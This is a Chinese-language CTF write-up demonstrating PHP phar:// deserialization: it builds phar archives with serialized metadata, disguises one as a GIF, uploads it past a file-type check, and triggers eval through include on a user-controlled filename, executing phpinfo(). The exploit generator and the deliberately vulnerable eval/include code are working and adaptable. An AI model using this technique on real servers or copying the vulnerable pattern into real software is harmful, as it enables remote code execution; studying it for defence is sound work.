一个phar://的漏洞
前段时间打了个护网杯,题目质量是真的高,肉鸡又菜了一整场,遇到了一个不太会的东西,复现了一波,记录下好吧。
这个鬼东西就是phar://的序列化的漏洞
介绍一下
phar://跟php://filter 、data://那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub
stub
就是一个标志,格式xxx<?php xxxxx; __HALT_COMPILER();?>,结尾一定是__HALT_COMPILER();?>,不然phar识别不了phar文件
举个栗子
先看一下phar怎么用
class TestObject{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
执行以后同级目录下会有一个phar.phar文件,丢去二进制编辑器
嗯,没毛病,确实看到了序列化后的对象
对应的,就会有反序列化的操作,php一大部分文件系统函数在通过phar://伪协议解析的时候,都会将meta-data进行反序列化,影响函数如下
将我们上面生成的phar.phar反序列化一下
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ('phar://phar.phar');
嗯,浏览器也确实输出出来了
再来个栗子
用phar伪装一下其他文件,因为php识别phar文件是通过stub来的,那样的话我们只需要在__HALT_COMPILER();?>前面加多一个其他文件的头,就可以伪装了
来个大的示范好吧
前端的上传页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>
后台的检测页面,先限制好只能传gif
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
后台解析文件的php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);
emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己打一个生成phar的文件
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问
嗯,确实是可以看到php的信息,phar协议真的强无敌啊,轻轻松松就绕过了服务器的检测好吧,牛逼牛逼